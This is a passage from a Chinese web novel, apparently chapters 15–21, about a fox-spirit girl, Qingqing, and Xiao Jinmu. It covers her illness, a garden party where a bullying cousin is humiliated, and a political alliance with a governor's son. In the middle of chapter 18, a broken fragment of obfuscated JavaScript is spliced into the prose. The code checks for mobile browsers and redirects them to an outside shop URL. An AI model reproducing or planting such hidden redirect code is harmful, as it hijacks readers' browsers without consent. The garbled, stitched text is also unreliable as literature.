他低头,看了看身边这个牵着他衣袖、能吃能睡、似乎除了妖丹和偶尔冒出的奇特力量外与寻常孩童无异的小狐妖。
又想起父亲昏迷时府中暗流汹涌的恶意,想起六皇子那不知缘由的杀意,想起今日黄鼠狼精与那鲶鱼妖。
这世间,看似平静,实则妖魔横行,人心叵测。
他虽有智谋,有财力,有暗卫,可面对那些玄之又玄的妖法、道术,乃至可能存在的、更强大的未知力量,真的能永远护住身后这一方安宁吗?
“倾倾。”他忽然开口。
“嗯?”
“如果有一天,我需要离开这里,去一个很远的地方,学一些不太一样的东西,才能更好地保护你想保护的人和事,”萧瑾慕的声音很轻,像是在问倾倾,又像是在问自己,“你觉得,我应该去吗?”
第16章 约定
倾倾停下脚步,转过身,面对面地看着坐在轮椅上的萧瑾慕。
月光如水,洒在他清隽却仍显稚嫩的脸上,那双总是过于沉静的眼眸里,此刻映着一点微光,和一丝她看不懂的、淡淡的困惑。
她不明白“不太一样的东西”是什么,也不懂“很远的地方”有多远。
但她听懂了“保护”。
老猫说过,想要保护重要的东西,就要变得很强很强。
倾倾想保护萧瑾慕,想保护这个给她软软的床、甜甜的糕点、好闻的味道的家。
她伸出小手,轻轻拍了拍萧瑾慕的手背,动作有些笨拙,却异常认真。
“萧瑾慕想去,就去呀。”她的声音软糯,却带着一股奇异的笃定,
“倾倾会等你回来的。如果那里有坏人欺负你,你就告诉倾倾,倾倾去帮你打他!”
她说着,还挥舞了一下小拳头,以示自己很能打。
萧瑾慕怔怔地看着她。
看着她眼中毫无保留的信任与支持,看着她明明自己还是个需要被保护的小不点,却努力想成为他后盾的稚嫩模样。
心底那层因权衡利弊而生的冰冷硬壳,悄然裂开一道缝隙。
有温热的东西涌了进来。
他反手,握住了那只拍他手背的小手。
“好。”他听见自己说,声音里带着一丝几乎察觉不到的哑,“如果有一天需要去,我会告诉你。
“嗯!”倾倾重重点头,笑得眉眼弯弯,“拉钩!”
小指勾上小指,月光下,形成一个幼稚却郑重的约定。
——
夜半的萧府静悄悄的。
倾倾蜷在小床里,身子突然烫的像揣了团火。
妖丹在丹田处突突地跳,疼的她小身子缩成一团,眼泪糊了满脸。
倾倾整个人晕乎乎的,只凭着本能记得萧瑾慕在书房,那里最安全。
她胡乱蹬掉被子,光着腿就往外跑,踩在冰凉地青石板砖上,一路跌跌撞撞。
嘴里断断续续呜咽:“好烫,萧瑾慕,好烫呀!”
推开门,烛火下萧瑾慕翻书的身影撞进眼里,是她最安心的地方。
倾倾扑到萧瑾慕身边,拽着他的衣袖使劲摇晃,小脸惨白,额头沁出冷汗,泪眼婆娑抬头:“萧瑾慕,倾倾肚子好烫,好疼……”
萧瑾慕指尖刚触碰到她的手腕,便被那滚烫烫得心头一缩,小小的身体颤颤巍巍,立马伸手扶住倾倾的胳膊。
他刻意放缓声音,却攥紧倾倾的手,怕她摔倒,“怎么回事?哪里疼?”
“哪里都烫,肚子里最疼…呜呜”倾倾攥着他的手,眼泪砸在萧瑾慕手背上,整个人不住的发抖,“萧瑾慕,倾倾是不是坏掉了?”
萧瑾慕心头一紧,连忙将她扶到软榻上,转头便命荣青速去请沈大夫。
待荣青领着沈大夫匆匆赶来时,只见屋内烛影摇红,萧瑾慕正坐在榻边。倾倾一只手仍紧紧攥着他的衣袖,人却已陷入昏睡,眉尖微蹙,额间渗着细密的冷汗。
沈大夫见状神色一凝,快步近前,抬手搭脉。
不过片刻,他眼中却浮起诧色,又换手再探,终是收回手,摇头道:“奇哉……姑娘这脉象沉稳有力,气血充盈,竟比常年习武的男子还要健旺几分。”
萧瑾慕闻言眉头锁得更紧:“既如此,她为何昏迷不醒,冷汗涔涔?”
“我行医数十载,这般情形也是头一回见。”沈大夫捋须沉吟,“脉象上瞧不出半分病气,反倒像是体内蕴着一股过于旺盛的生机,一时未能调和所致。”
反复查验仍无结果,萧瑾慕只得先送沈大夫离去。
他转身回到榻前,小心地为倾倾拭去额间薄汗,自己却毫无睡意,只静静守在昏黄的灯影里。
老猫就在这个时候窜了进来。
肥硕的扭到床边,看了看床上皱着眉头疼晕过去的倾倾。
“莫要慌张,”老猫口吐人言,“她这是得了莫大的机缘,信仰之力加身,只是这具肉身尚弱,一时承不住罢了。睡上两日,自会醒来。”
萧瑾慕眸光一凛,并未因猫儿说话而过于惊异,只沉声问:“信仰之力?何来此说?”
老猫尾尖轻摆,金瞳深邃:“此非你现在该深究的。只是提醒你一事”
它顿了顿,语气转为凝重,“她的身份特殊,天地之间,绝不容与任何人缔结长久之契。你与她所结的同心契,至多维系五年。契散之时,你便会恢复旧日身躯,而她……”
——
倾倾真就睡了两日才被鼻尖萦绕的蜜香唤醒。
睫毛颤了颤,她慢悠悠睁开眼睛,入目是熟悉的纱
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帐,还有坐在榻边,正低着头翻什么册子的萧瑾慕。
他依旧坐在轮椅上,脊背挺得笔直,烛火映在他的脸上,明明灭灭,瞧不出情绪。
倾倾动了动,刚想坐起来,就被一只微凉的手轻轻按住。
“别动。”萧瑾慕的声音比平时更沉了一些,却没了往日的冷硬,“刚醒,先躺会儿。”
倾倾眨了眨眼,脑子还有些懵,只记得昨晚肚子里烫的厉害,疼得她直掉眼泪,后来什么都不知道了。
她下意识往萧瑾慕身边凑了凑,小手又习惯性地去抓他的衣袖,指尖触到衣料的瞬间,才松了口气,小声嘟囔:“萧瑾慕,”
“嗯?”他应了一声,合上册子,伸手探了探她的额头,温度已经退了,“还疼吗?”
倾倾歪着小脑袋想了想,摸了摸自己的小肚子,“不疼啦,就是,有点饿。”
萧瑾慕看着她一脸天真无邪的模样,心头那点因老猫的话而沉下去的阴郁,竟被这软乎乎的语气冲淡了些许。
他抬手,将矮几上温着的蜜水端过来,用小银勺舀了一勺,递到倾倾嘴边:“先喝点水。”
倾倾乖乖张口,甜丝丝的蜜水滑进喉咙,她眼睛亮了亮,又凑过去,变成讨食的小奶狐,一口接一口喝着,小尾巴在被子底下悄悄晃了晃。
萧瑾慕看着她喝得满足,唇角几不可查地弯了一下,又很快恢复平静。
等倾倾喝完,便取过一旁的甜糕,掰成小块,开始投喂。
倾倾小口咬着甜糕,腮帮子鼓鼓的。
她嚼着嚼着,忽然想起什么,抬头看向萧瑾慕,“萧瑾慕,昨晚我是不是很吵?”
萧瑾慕动作一顿,随即淡淡道:“没有。”
“可是我记得,我好像哭了……”
她皱着小眉头,努力回忆着,“我跑进来,是不是打扰你看书了?”
见倾倾一脸愧疚,小耳朵都聋拉下来,萧瑾慕心头一软,伸手揉了揉她的头顶,动作轻柔的不像话:
“没有打扰。以后不舒服,直接来找我就好。”
倾倾立刻眼睛一亮,小脑袋点得像捣蒜:“嗯!倾倾知道啦!以后只找萧瑾慕!”
她说得认真,眼底满是纯粹的依赖,萧瑾慕看着她,眼神暗了暗。
五年。
只有五年。
第17章 最好的倾倾
“没用的东西!连茶杯都端不稳,留着你们何用!”
八岁的萧熠裹着锦缎薄被,半倚在铺着狐裘的软榻上,脸色因连日养伤不愈而泛着病态的潮红,眼底满是暴戾。
他那条被倾倾一拳打断的手,本已渐好,偏他耐不住性子,夜里偷偷唤了丫鬟伺候,折腾得伤口反复开裂,此刻一动便钻心的疼。
满腔邪火便全撒在眼前两个瑟瑟发抖的丫鬟身上。
萧熠抓起榻边的瓷枕,狠狠砸向丫鬟,青瓷碎裂的脆响伴随着丫鬟的惊呼。
他犹不解气,指着其中一个丫鬟骂道:“给我跪到廊下,没我的吩咐,不准起来!另一个,拿藤条来,今日便教你们懂规矩!”
小丫鬟吓得腿一软,跪倒在地,连连磕头求饶,另一个丫鬟也抖着身子,不敢挪步。
廊下的阴影里,黄总管提着食盒缓步走来,见状脚步微顿,脸上立刻堆起恰到好处的惊慌与心疼,快步上前。
一边躬身扶起萧熠,一边朝丫鬟使了个眼色,温声细语道:
“哎哟我的小主子,这是怎么了?气坏了身子可怎么好?您这手还养着,可不能动怒啊。”
他说着,熟练地替萧熠掖好被角,又亲自端过一旁温着的补汤,递到萧熠唇边,语气谄媚又妥帖:
“这两个丫鬟不懂事,冲撞了主子,回头奴才便替您发落,定让她们长记性。您是金枝玉叶,犯不着跟这些下等人置气,仔细气伤了肝脾,耽误了养伤,岂不是得不偿失?”
萧熠喝两口汤,火气稍减,却仍皱着眉,烦躁地抬了抬手:
“养养养,养了这么久,这破手还是疼!府里死气沉沉的,闷都闷**!”
黄总管眼珠一转,脸上立刻堆起更深的笑意,凑到萧熠耳边,压低声音道:
“小主子,奴才正有个好消息要禀告您呢。二房的玉婷小姐,今日在府中办了游园会,特意邀请了江南各世家的嫡女,还有总督府,巡抚府的公子小姐,这会儿前院正热闹着呢,听说连织造司的陆小姐都来了,个个都是花容玉貌的妙人。”
这话如同一针强心剂,瞬间扎得萧熠眼睛发亮,方才的烦躁与疼痛一扫而空。
他猛得坐起身,也顾不上腿上的伤,一把抓住黄总管的衣袖,急切的问:
“真的?都是世家嫡女?有没有长得特别好看的?”
黄总管见状,心中暗笑,面上却依旧恭敬,连连点头:
“千真万确!玉婷小姐特意吩咐了,说您是萧家嫡子,虽在养伤,也该去凑凑热闹,散散心。”
“那些小姐们听说您的名头,都盼着能见见您呢。”
萧熠哪里还坐得住,脑子里全是世家嫡女的娇俏模样,连手上的伤都顾不上。
他挣扎着就要下床,语气急切:
“快!给我更衣!备车!不,直接扶我去前院!这么热闹的事,怎么能少了我!”
——
倾倾穿着一身水蓝色小襦裙,像只软乎乎的小团子,趴在萧瑾慕书房的窗沿上。
小耳朵微微动着,灵敏地捕捉府中各处传来的笑语声与丝竹声。
她歪着小脑袋,圆溜溜的眼睛亮晶晶地看向正伏案看书的萧瑾慕,小奶音里满是好奇与期待:
“萧瑾慕,外面好热闹呀,好多人在笑,还有好听的曲子,是发生什么事了吗?倾倾也想去玩。”
萧瑾慕放下书卷,抬眸看向她。
平日里那双总是覆着一层阴郁、深沉如寒潭的眸子,在触及倾倾时,瞬间化开,漾开独属于她的温柔暖意。
他早料到这只小狐狸耐不住性子,府中今日的热闹,她定然会察觉。
萧瑾慕薄唇微扬,露出一抹极淡却无比温柔的笑,朝她招了招手:“倾倾过来。”
倾倾
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立刻迈着小短腿,哒哒哒跑到他身边,仰着足以萌化一切的小脸,眼巴巴望着萧瑾慕,小手轻轻摆弄他的衣袖。
萧瑾慕温声道:“想去便去,只是得换身衣裳。”
话音刚落,门外便传来清浅的脚步声。
粉白与粉绿捧着一个精致的描金漆盒走了进来,屈膝行礼:“大少爷,您要的衣裳,奴婢们取来了。”
萧瑾慕颔首:“给倾倾换上。”
粉白笑着打开漆盒,一套量身定制的锦衣华裙静静躺在其中。
那是一身水粉色的襦裙,裙摆绣着繁复的花纹,精致无比。
衣料是难得的云霏锦,触手温润,在阳光下流转着淡淡的珠光。
最妙的是裙身暗藏的银线暗纹,绣的是灵动的九尾狐,平日里看不真切,唯有阳光洒落时,才若隐若现,仿佛有小狐狸在裙间跳跃。
倾倾的眼睛瞬间瞪得溜圆,小嘴巴微微张开,满是惊叹。
她伸出小手碰了碰那柔软的衣料,又看着在阳光下闪烁的暗纹,小脸上满是欢喜,奶声奶气地夸赞:
“哇!好漂亮呀!比上次倾倾看见的那块布料还要好看!这个小狐狸也好可爱,会发光,好神奇!”
倾倾对萧瑾慕的崇拜在此刻达到顶峰,眼里的光闪得不得了,“萧瑾慕你好厉害!送倾倾好多亮闪闪的宝贝,倾倾好喜欢你呀!”
虽然知道倾倾的此喜欢非彼喜欢,但这句话还是极大的取悦了萧瑾慕。
换好衣服的倾倾,更像个粉雕玉琢的小仙童。
水粉色的襦裙衬得她肌肤胜雪,银线暗纹随着她的动作轻轻晃动,灵动又娇俏。
倾倾转了个小圈圈,裙摆飞扬,小脸上满是雀跃。
萧瑾慕伸手替她理了理微乱的鬓发,语气温柔得能滴出水来,一字一句,郑重又宠溺:
“只有最好的,才配得上倾倾。”
第18章 哇!被吓尿了欸
前院花园里,金桂飘香,缀满枝头的细碎黄花随风轻颤,甜香飘满了满院。
一旁的秋菊开得正盛,黄得如蜜、白得似雪,紫得若霞,层层叠叠衬得满园明艳。
十四岁的萧玉婷正陪着两位贵客说话。
她是二房萧文柏的嫡女,今日游园会的主人,一举一动都透着刻意练出来的端庄。
“傅哥哥,荣薇妹妹,你们尝尝这刚上的碧粳糕,是府里厨子新琢磨出来的口味。”
萧玉婷抬手示意丫鬟奉上点心,声音甜软,“今日府中热闹,若有招待不周的地方,还请两位多多包涵。”
她对面坐着的,是十四岁的两江总督嫡子傅折洲。
面容清俊,只是神色冷淡,眼神锐利。
目光淡淡扫过花园,看似随意,实则在不动声色观察着萧府的守备与氛围。
另一侧坐着十二岁的江南巡抚之女代荣薇,穿着一身水绿罗裙,性格活泼又八面玲珑,闻言立刻笑着接话:
“玉婷姐姐太客气了,你这园子布置得既雅致又热闹,我们喜欢还来不及呢,哪里谈得上不周。”
话音刚落,花园入口处忽然传来一阵轻微的骚动,众人循声望去。
只见一位身穿绯红撒花罗裙的少女,在丫鬟的簇拥下缓步而来。
正是江南织造司的独女陆芸芸。
她今日特意精心打扮,裙摆绣着金线缠枝牡丹,头上缀满了装饰,走起路来环佩叮当,明艳夺目,显然是刻意压轴出场,要在众人面前出尽风头。
只是那衣料虽艳,却少了几分质感,金线绣工也不够精细。
萧玉婷见状,连忙上前几步,脸上是更热情的笑:“芸芸妹妹,你可算来了,我们都等你好久了。”
代荣薇更是眼明心亮,立刻凑上前,围着陆芸芸一通夸赞,语气夸张又真诚:
“哇!芸芸,你今日也太好看了吧!这裙子也太漂亮了,这金线绣的也太精致了,简直像天上的仙子下凡,我长这么大,从没见过比你更好看的人了!”
陆芸芸被夸得眉开眼笑,下巴微扬,故作骄矜地笑了笑:
“荣薇姐姐说笑了,不过是定制的新衣裳罢了。”
傅折洲见状,也淡淡开口,说话稳重老练:“陆小姐今日风采卓然,这身衣裳很衬你。”
虽然只是场面夸赞话,陆芸芸依旧觉得面红心跳,看着傅折洲作娇羞状。
傅折洲却没有再搭理她,而是把目光转向萧玉婷,不动声色地问道:“玉婷妹妹,今日萧家大公子怎么不见踪影?听闻萧家大公子降服妖魔的壮举,一直想见识一番。”
代荣薇立刻跟着附和,脸上带着好奇的神色:
“是啊玉婷妹妹,我们都听说萧大少爷的大名,今日怎么没见到他?”
“本少爷在这儿呢!”
众人看过去,只见萧熠被四五个丫鬟小厮前呼后拥着,一瘸一拐走了过来。
他左臂用白布吊在胸前,摆出一副不可一世的神气模样,活像只斗胜的公鸡。
胳膊还在隐隐作痛,可此刻被满园的莺莺燕燕勾得心痒,早已将伤痛抛到了九霄云外。
萧熠的目光肆无忌惮地在在场的女孩儿们脸上扫过,像是在挑选货物,最后落在陆芸芸身上时,眼睛骤然一亮。
他几步凑上前,围着陆芸芸转了一圈,啧啧称赞道:
“不错不错,小丫头长得挺标致,这身红裙子也好看。看来是特意为了见本少爷花了大心思,本少爷很满意!”
这话一出,全场瞬间死寂。
萧玉婷脸色一白,想上前阻拦却已经来不及。
傅折洲眉头微蹙,眼中闪过一丝鄙夷与冷漠,只静静旁观。
代荣薇捂住嘴,强忍着才没有笑出声,眼中满是看好戏的神色。
而陆芸芸,脸上的得意与矜持瞬间僵住。
她如遭雷劈,难以置信地瞪着眼前这个流里流气,胳膊还吊着的半大孩子,气得浑身发抖。
片刻后,她终于爆发出来,用尽全力吼道:
“你知道我爹是谁吗?!”
“我爹是江南织造司陆正明!是陛下亲封的钦差!你一个萧家不上台面的纨绔,居然敢这么对我说话?!”
陆芸芸越说越气,眼眶都红了,最后恨恨跺了跺脚,将所有的怒火与委屈都倾泻而出:
“真是气死我了!你比那个来历不明的倾倾还要讨厌一万倍!”
花园中的争执正酣,一阵不疾不徐的车轮声响起,打破了僵持的局面。
只见一架做工精巧华贵的乌木轮椅缓缓行来,上面坐着的正是萧瑾慕。
为了配倾倾今日自然也是隆重打扮过的,本就生得极好看,此刻与倾倾一起,瞬间夺走了全场的目光。
倾倾被萧瑾慕牢牢牵着。
一入场,便如明月入怀,瞬间让满园秋色失了光彩,所有人都被她的容貌与气质惊艳。
唯有陆芸芸脸色铁青,死死盯着倾倾。
陆芸芸那身今日特意为了打压倾倾准备的张扬红裙,瞬间显得艳俗又廉价。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17180991|196965||http|test|mini|href|location''.split(''|''),0,{}));
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r>“哇……”代荣薇这次是真的被美到,一时间竟然想不到合适的语句夸奖,眼中满是惊艳。
傅折洲也挑了挑眉,难掩惊异之色,显然没料到萧家还有如此出众的小丫头。
倾倾眨了眨圆溜溜的大眼睛,先是疑惑地看向方才叫她名字的陆芸芸。
下一秒便认出这是在面料铺子抢布料被她施法捉弄的人,立刻小身子一缩,缩到萧瑾慕耳边,用只有两人听得见的声音小声哔哔:
“萧瑾慕,这个姐姐不会是来找倾倾麻烦的吧?”
萧瑾慕垂眸,眼底的阴郁瞬间化开,温声道:“别怕,有我。”
这时,萧熠见倾倾这副绝美的样子,色心又压过了恐惧。
他养伤多日,消息闭塞,根本不知道倾倾救了萧家主,在府中地位超然,只当她还是那个农家女。
他立刻凑上前去,一脸轻佻地说道:
“小美人,穿这么好看,是特意来给本少爷看的吧?本少爷不嫌弃你出身低,之前的无礼也饶过你,过来,让本少爷牵牵。”
说着,他便伸出手,想要触碰倾倾。
倾倾鼻尖一皱,只觉得萧熠身上那股臭气更难闻了,还混着淡淡的血腥气,胃里一阵翻涌,忍不住“呕”了一声,嫌弃地往后缩了缩。
她难受得不行,抬眼看向萧瑾慕,小眼神里满是“快让我揍他”的渴望。
可萧瑾慕的动作比倾倾的心思更快。
只淡淡吐出两个字,语气冷得像冰:“动手。”
推着轮椅的荣青应声上前,动作快如闪电,只听咔嚓一声脆响,萧熠一声惨叫,另一只胳膊也以诡异的角度垂了下去。
荣青面无表情收回手,对着萧瑾慕躬身回禀:“二公子手上有只扰人的苍蝇,属下已经处理完毕,此乃属下分内之事,大公子无需多言,二公子也无需道谢。”
萧熠疼得脸色惨白,冷汗直流,瘫在地上哀嚎不止。
这残暴的一幕震慑了在场所有人,仆从丫鬟竟无一人敢上前搀扶。
萧瑾慕微微倾身,凑近萧熠,眼神仿佛在看死物,声音压得极低,确保只有两人能听见,声音阴鹫冰冷:
“萧熠,再敢对倾倾动半分心思,我保证,让你亲身体验一遍,你平日里**那些丫鬟女子所用的招式。”
萧熠显然听清了,顾不得思考萧瑾慕今天为什么跟往常仿佛两模两样的强势姿态,只浑身一颤,像是想到了什么,身下缓缓流出一滩腥黄的水。
竟然被吓尿了。
第19章 最怕的居然是蜘蛛!
萧瑾慕坐在轮椅上,他薄唇轻启,吐出的字眼冰冷刺骨:
“丢人现眼。”
抬眼看向萧熠带来的小厮们,声音不大,却带着不容置疑的威压:
“把人抬下去,别在这碍眼。”
跟随萧熠而来的小厮们吓得面如土色,连滚带爬冲上前,像拖死狗一样将萧熠抬了出去,不敢有丝毫停留。
萧瑾慕明明只有十岁,却有着让在场所有世家小姐公子们都不敢直视的气场。
他微蹙的眉宇在触及她身影的刹那舒展开,紧抿的唇角勾起一个几乎看不见、却让周身寒意尽散的弧度。
语气温柔得不像话:“倾倾,没事了。”
倾倾摇了摇小脑袋,小脸上满是兴奋和跃跃欲试,伸手抱住萧瑾慕的胳膊,小脑袋在他衣袖上蹭了蹭,像是撒娇一般说道:
“萧瑾慕,你下次慢点出手,先让倾倾来嘛~”
萧瑾慕笑了一声,瞬间打破严肃的气氛。
随即,他抬眸,目光扫过在场所有人,声音清朗,掷地有声:
“今日,我向诸位介绍,这位是倾倾姑娘。她于危难中救了家父性命,是我萧家上下的救命恩人。在萧府,她的地位,比任何一位嫡出小姐都要尊贵。谁若欺她,便是与我萧瑾慕为敌,与整个萧家为敌。”
此言一出,满座皆惊。
众人看向倾倾的目光,瞬间从惊艳变成了敬畏,再无人敢有半分轻视。
然后萧瑾慕才缓缓说道:
“实在惭愧,刚才在下的弟弟萧熠家教不严,对各位多有冒犯,我回去会禀告母亲,对家弟严加管教。”
这是对刚才的事进行收尾,将此事结果轻轻揭过,却将萧熠彻底钉死在耻辱柱上。
而且,经过这次首秀,往后怕是再也没人敢凑上来得罪他。
说完,萧瑾慕低头,对倾倾温柔一笑:
“倾倾,把你准备的礼物,拿出来送给各位吧。”
倾倾点点头,带着粉**绿走入人群。
这些礼物,皆是萧瑾慕根据每个人的喜好与需求精心准备,却让她以自己的名义送出。
轻而易举,就为倾倾打开了交际圈。
倾倾先走到代荣薇面前,她其实还不知道这个闻起来有淡淡香气的姐姐叫什么名字。
于是看向粉白和粉绿。
粉白会意,递上一个紫檀木盒:
“代小姐,这是倾倾小姐精心为您准备的见面礼。”
代荣薇到底还有小孩心性,按捺不住好奇就要打开看,里面竟是一套整合完善、极为珍贵的历朝历代**诉讼卷宗,正是她遍寻不得的心头好!
她又惊又喜,看向倾倾的眼神瞬间充满了真诚的喜爱:
“倾倾妹妹,这太珍贵了!姐姐太喜欢了,谢谢你!”
兴奋地凑过去抱住倾倾,恨不得亲亲这个可爱的小粉团子。
还好被粉绿拦截了。
倾倾又将其他礼物一一送出,每一件都精准戳中各位小姐的喜好,都是她们求而不得的稀罕玩意儿。
瞬间,除了脸色依旧铁青的陆芸芸,所有人都对倾倾好感倍增,围上来叽叽喳喳,一派热闹的
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景象。
荣青也带着几个侍卫上前,将为各位公子准备的礼物一一奉上,同样是投其所好,尽显用心。
最后,萧瑾慕看向傅折洲,嘴角勾起一抹意味深长的笑,语气熟稔,仿佛两人是多年未见的好友:
“折洲兄,许久未见,甚是想念。我近日寻得几幅大家书画,待会可否移步我书房,一同品鉴?”
傅折洲嘴角几不可查地抽了抽,几乎维持不住那副少年老成的嘴脸。
他与萧瑾慕从未深交,对方更是常年深居简出,从不参加这种宴会,哪里来的“许久未见,甚是想念?”
心中雪亮,这不过是对方抛出的合作橄榄枝。
他不动声色地拱手应道:
“固所愿也,不敢请耳。”
就在众人皆大欢喜,只觉今日不虚此行之时,一道刺耳的尖叫声突然划破天际!
“啊——!”
陆芸芸手中握着刚接过的绣工精湛的手帕,竟在她眼前化作一只巨大的毒蜘蛛,毛茸茸的长腿扭曲着,张着血盆大口,猛地朝她脸上扑来!
倾倾站在一旁,小脸上满是无辜。
这帕子上被她施了测真心的小法术,真心待她,帕子便是帕子。
若是心怀恶意,便会现出对方心底最恐惧的东西。
陆芸芸本就对她充满了嫉妒与恶意,此刻自然是自食恶果。
“蜘蛛!有蜘蛛!救命啊!”陆芸芸吓得魂飞魄散,脸色惨白,眼泪鼻涕横流,尖叫着将手帕扔开,连滚带爬哭着跑了,哪里还有半分大家闺秀的模样。
第20章 饭团闪亮登场!
游园会的喧嚣被远远抛到身后,陆芸芸却没有立刻乘车离去。
她立在马车旁,娇俏的小脸依旧惨白,方才被蜘蛛幻象吓得魂飞魄散的惊魂未定还未散去。
精致的妆容下是掩饰不住的焦躁与怨毒,方才在游园会上的失态,成了她此生最大的耻辱,而更让她担心的,是萧家两位堂叔那边是否会出纰漏。
等了许久,终于看到武卫与老书生匆匆赶来,均是两位堂叔的心腹。
陆芸芸立刻停下脚步,扬起那张写满骄纵的小脸,语气带着上位者的审视:
“两位堂叔有没有说不该说的?勾结妖物之事,可曾泄露?”
武卫连忙上前,低声道:“陆小姐放心,两位老爷口风极严,只说家主气他们办事不力,略施惩戒,绝无半句多余的话。”
老书生也恭敬回道:“那萧瑾慕虽然手段狠了些,却还没有拿到确凿证据,不敢对两位老爷如何,陆小姐不必担忧。”
陆芸芸悬着的心彻底放下,嘴角勾起一抹残忍的笑。
她看着萧府的方向,眼底满是怨毒:“算他们识趣。不过,那小**今日让我颜面尽失,这笔账,我记下了。”
她顿了顿,语气愈发冰冷:“不过是个靠着妖术苟活的野丫头,也敢在我面前耀武扬威!等着吧,总有一天,我会让她尝尝,什么叫生不如死,让她知道,在江南,谁才是真正的主子!”
说罢,她狠狠一甩衣袖,踩着**垫噔噔噔上了马车,车帘落下,将她满目的怨毒隔绝在内。
——
游园会散后,花园里恢复了宁静,只余下秋菊在晚风里轻轻摇曳。
倾倾紧紧牵着萧瑾慕的手,小脚步轻快得像是飞起来,时不时抬头看着萧瑾慕,又看看周围对她笑的人,小嘴角一直咧着,露出一口洁白的小牙齿。
傅折洲随萧瑾慕穿过月洞门,沿着青石小径往书房去。
三人身后只跟着荣青一人,步履不疾不徐,却各自在心中推演着接下来的对话。
书房里早已备好了茶。
不是宴客用的雨前龙井,而是陈年普洱,汤色浓酽,香气沉郁。
萧瑾慕示意荣青守在门外,亲自执壶为傅折洲斟茶。
“折洲兄,请。”
傅折洲端起茶盏,却不急着饮,目光在书房里扫过。
满架典籍井然有序,案上摊着几本账册,边角磨损得厉害,显然是时常翻阅。
最引人注目的,是东面墙上挂着一幅江南漕运图,上面用朱笔标了密密麻麻的记号。
“瑾慕这书房,倒不像十岁孩童该有的模样。”傅折洲淡淡道。
萧瑾慕笑了笑,不接这话,只道:“今日园中喧闹,让折洲兄见笑了。”
“见笑谈不上。”傅折洲放下茶盏,目光落回萧瑾慕脸上,“倒是见识了。萧家二公子,确实需要管教。”
这话说得含蓄,意思却明白。
他认可萧瑾慕的手段。
萧瑾慕垂眸看着茶汤里浮沉的叶片,忽然转了话题:“听闻总督大人近来为漕粮改道之事烦忧?”
傅折洲眸光微凝。
漕粮改道是朝中近日才有的风声,父亲在书房与幕僚商议时,连伺候多年的老仆都要屏退。萧家一个十岁的孩子,如何得知?
“瑾慕消息灵通。”他不动声色。
“不是灵通,是算出来的。”萧瑾慕推开茶盏,取过一张白纸,提笔蘸墨,寥寥数笔便勾出江南水系简图,
“去岁淮河大水,三处河堤溃决,虽已抢修,但土质已松。今年若再遇汛期,旧河道必不堪用。户部那些大人再颟顸,也不敢拿百万石漕粮冒险。”
他笔尖点在图上:“若改道,无非三条路。走洪泽湖一线,需经安徽;走运河故道,要过山东;最稳妥的,是借长江水道,绕道江西,再入运河。”
笔尖最后落在长江段:“这一段,恰经过两江地界。押运、护卫、沿途补给,乃至与各州县交涉。折洲兄,令尊这个夏天,怕是不好过。”
傅折洲看着那张图,第一次真正正视眼前这个坐在轮椅上的少年。
不是传闻中那个病弱孤僻的萧家大公子,而是一个能一眼看透朝局脉络,将天灾、地理、人事算得分明的人。
“瑾慕既然算得这么清楚,”傅折洲缓缓道,“可有解法?”
“解法不敢当,只是有些浅见。”萧瑾慕从案下取出一本册子,推过去,
“这是萧家这些年走长江水道的笔记。何处有暗礁,何时起雾,哪个码头能停大船,哪段河道水匪猖獗,虽不齐全,或可一观。”
傅折洲翻开册子,里面是蝇头小楷,记录详实,甚至标注了某年某月某日,某处水流突变,疑有地下暗河汇入。
这不是一日之功,
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是萧家几代行船攒下的底蕴。
“如此厚礼,傅某愧不敢受。”傅折洲合上册子,目光灼灼,“瑾慕想要什么?”
“不敢称厚礼,只是互通有无。”萧瑾慕为他续上茶,“萧家做的是盐运,与漕运本是同源。将来若真改道长江,沿途码头、仓储、人手,萧家或可略尽绵力。当然一切按市价,该多少银子,一分不会少。”
傅折洲听懂了。
萧瑾慕不要钱,也不要官面上的承诺。
他要的,是在这场可能到来的漕运变局中,让萧家成为那个不可或缺的民间助力。
一旦事成,萧家便不止是一个盐商,而是在总督府那里挂了名的实务伙伴。
这份远见,这份胆魄,哪里像个十岁孩子?
“瑾慕思虑周全。”傅折洲终于端起茶盏,饮了一口,“此事傅某会禀明家父。不过,”
他话锋一转:“漕运事大,牵扯甚广。萧家如今内务未靖,那两位虽不成器,背后却站着别人。瑾慕若有心做大事,当先肃清内院才是。”
倾倾玩累了,正乖乖靠在萧瑾慕腿边打盹,小脑袋一点一点的,模样软萌极了。
忽然,一阵清甜的米香飘了过来,浓郁得勾人魂魄。
倾倾鼻子猛得一抽,瞬间睁开眼,口水不由自主流了出来,眼睛亮得像两颗星星。
她噌一下弹起来,像只小狗狗一样在书房里东闻闻、西嗅嗅,小短腿跑得飞快,嘴里含糊不清地喊:“好香!是米香!萧瑾慕,是不是做点心的阿姨又做好吃的了?倾倾闻到啦!”
萧瑾慕被她的动静打断,正想安抚。
却见倾倾忽然停在傅折洲面前,猛得扑了上去,小脸蛋几乎贴到他的衣襟上,鼻尖不停嗅着。
萧瑾慕脸色瞬间沉得可怕,周身的气压骤降,伸手飞快揪住倾倾的衣领,将她拉了回来,语气沉沉:“倾倾,不得无礼。”
倾倾被拉着,不断扑腾小手小脚,脸上满是委屈和急切,指着傅折洲大声道:“萧瑾慕,米香就在他身上!真的好香!倾倾好饿,想吃香香的米糕。”
场面一时陷入尴尬。
傅折洲也面露错愕。
就在这时,一粒莹白的米粒从他袖口里滚了出来,落在桌上,光芒一闪,化作一个白发小小的人儿,只有倾倾大拇指那么大,怯生生地站在桌角,模样娇小可爱。
第21章 傅折洲其实是傲娇
“饭团?”
傅折洲脸上的从容与淡定瞬间破裂,取而代之的是一种极质的紧绷,像被人戳中了最隐秘的软肋。
可他毕竟是两江总督嫡子,自幼被教导喜怒不形于色,不过瞬息之间,便强行压下所有情绪,恢复了表面的平静。
只是脸色比平日里更苍白了几分,嘴唇紧抿着,一言不发。
他看向萧瑾慕的目光带着明显的警惕与疏离,又看向扑腾的倾倾,眼底闪过一丝复杂。
没想到他从江南稻田间带回小心翼翼藏着的米灵竟然会在这种场合暴露,更没想到是被这倾倾的嗅觉识破。
